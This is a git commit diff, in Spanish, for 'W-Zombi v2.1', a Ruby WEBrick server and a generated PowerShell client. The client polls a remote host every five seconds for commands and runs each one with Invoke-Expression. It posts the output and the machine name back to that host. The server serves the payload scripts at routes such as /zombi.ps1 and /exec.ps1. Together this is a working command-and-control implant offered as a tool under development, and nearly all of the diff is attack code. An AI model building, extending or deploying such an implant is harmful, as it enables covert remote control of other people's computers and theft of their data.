🧟 W-Zombi v2.1: Fix ruta /cmd + JSON parsing robusto

Bugs corregidos:
- /cmd no existía en server (solo /cmd.json) — agregada ruta explícita
- PS1 client pedía /cmd sin Content-Type JSON — cambiado a /cmd.json
- JSON fallback: ConvertFrom-Json si Invoke-RestMethod no parsea
- Send-Log con UTF-8 encoding explícito
- Validación extra: chequea $cmdData.id y $cmdData.cmd antes de ejecutar
- Log bilateral: registra comando enviado Y resultado recibido
- ZOMBI CONECTADO log al iniciar
This commit is contained in:
Ricardo Monla
2026-04-09 12:44:36 -03:00
parent a0440b89d9
commit c7b9c01de4
2 changed files with 30 additions and 11 deletions
@@ -3,14 +3,21 @@ module WZombi
class PS1Builder class PS1Builder
def self.build(host:) def self.build(host:)
<<~PS1 <<~PS1
# W-ZOMBI ENGINE v2.0 # W-ZOMBI ENGINE v2.1
$WZ_HOST = "#{host}" $WZ_HOST = "#{host}"
$LAST_CMD_ID = 0 $LAST_CMD_ID = 0
function Get-Cmd { function Get-Cmd {
try { try {
return Invoke-RestMethod -Uri "http://$WZ_HOST/cmd" -UseBasicParsing -ErrorAction SilentlyContinue $response = Invoke-RestMethod -Uri "http://$WZ_HOST/cmd.json" -UseBasicParsing -ErrorAction Stop
} catch {} # Invoke-RestMethod auto-parsea JSON si Content-Type es correcto
if ($response -is [string]) {
return $response | ConvertFrom-Json
}
return $response
} catch {
return $null
}
} }
function Send-Log { function Send-Log {
@@ -18,23 +25,29 @@ module WZombi
$line = "[$(Get-Date -Format 'HH:mm:ss')] $msg" $line = "[$(Get-Date -Format 'HH:mm:ss')] $msg"
Write-Host "📡 $line" -ForegroundColor Cyan Write-Host "📡 $line" -ForegroundColor Cyan
try { try {
Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body $line -ContentType "text/plain" -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body ([System.Text.Encoding]::UTF8.GetBytes($line)) -ContentType "text/plain; charset=utf-8" -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null
} catch {} } catch {}
} }
Write-Host "🧟 ゾンビ (Zombi) v2.0 ONLINE - Esperando ordenes..." -ForegroundColor Green Write-Host "🧟 ゾンビ (Zombi) v2.1 ONLINE - Host: $WZ_HOST" -ForegroundColor Green
Send-Log "ZOMBI CONECTADO desde $env:COMPUTERNAME"
while ($true) { while ($true) {
try { try {
$cmdData = Get-Cmd $cmdData = Get-Cmd
if ($cmdData -and $cmdData.id -ne $LAST_CMD_ID -and $cmdData.cmd -ne "NO_CMD") { if ($cmdData -and $cmdData.id -and $cmdData.id -ne $LAST_CMD_ID -and $cmdData.cmd -and $cmdData.cmd -ne "" -and $cmdData.cmd -ne "NO_CMD") {
$LAST_CMD_ID = $cmdData.id $LAST_CMD_ID = $cmdData.id
Send-Log ">>> EJECUTANDO [ID:$($cmdData.id)]: $($cmdData.cmd)"
Write-Host ">>> EJECUTANDO [ID:$($cmdData.id)]: $($cmdData.cmd)" -ForegroundColor Yellow Write-Host ">>> EJECUTANDO [ID:$($cmdData.id)]: $($cmdData.cmd)" -ForegroundColor Yellow
$result = Invoke-Expression $cmdData.cmd 2>&1 | Out-String try {
Send-Log $result $result = Invoke-Expression $cmdData.cmd 2>&1 | Out-String
Send-Log "<<< RESULTADO [ID:$($cmdData.id)]: $result"
} catch {
Send-Log "!!! ERROR [ID:$($cmdData.id)]: $($_.Exception.Message)"
}
} }
} catch { } catch {
Send-Log "!!! EXCEPCION FATAL EN LOOP: $($_.Exception.Message)" Send-Log "!!! EXCEPCION EN LOOP: $($_.Exception.Message)"
} }
Start-Sleep -Seconds 5 Start-Sleep -Seconds 5
} }
@@ -44,3 +57,4 @@ module WZombi
end end
end end
+7 -2
View File
@@ -2,6 +2,8 @@ require 'webrick'
require_relative 'routes/zombi' require_relative 'routes/zombi'
require_relative 'routes/cmd' require_relative 'routes/cmd'
require_relative 'routes/log' require_relative 'routes/log'
require_relative 'routes/ps1'
require_relative 'routes/exec'
module WZombi module WZombi
class Server class Server
@@ -13,8 +15,11 @@ module WZombi
server = WEBrick::HTTPServer.new(Port: @config.puerto) server = WEBrick::HTTPServer.new(Port: @config.puerto)
server.mount_proc('/zombi.ps1', &Routes::Zombi.new(@config).method(:call)) server.mount_proc('/zombi.ps1', &Routes::Zombi.new(@config).method(:call))
server.mount_proc('/cmd', &Routes::Cmd.new(@config).method(:call)) server.mount_proc('/cmd.json', &Routes::Cmd.new(@config).method(:call))
server.mount_proc('/log', &Routes::Log.new(@config).method(:call)) server.mount_proc('/cmd', &Routes::Cmd.new(@config).method(:call))
server.mount_proc('/log', &Routes::Log.new(@config).method(:call))
server.mount_proc('/ps1', &Routes::Ps1.new(@config).method(:call))
server.mount_proc('/exec.ps1', &Routes::Exec.new(@config).method(:call))
trap("INT") { server.shutdown } trap("INT") { server.shutdown }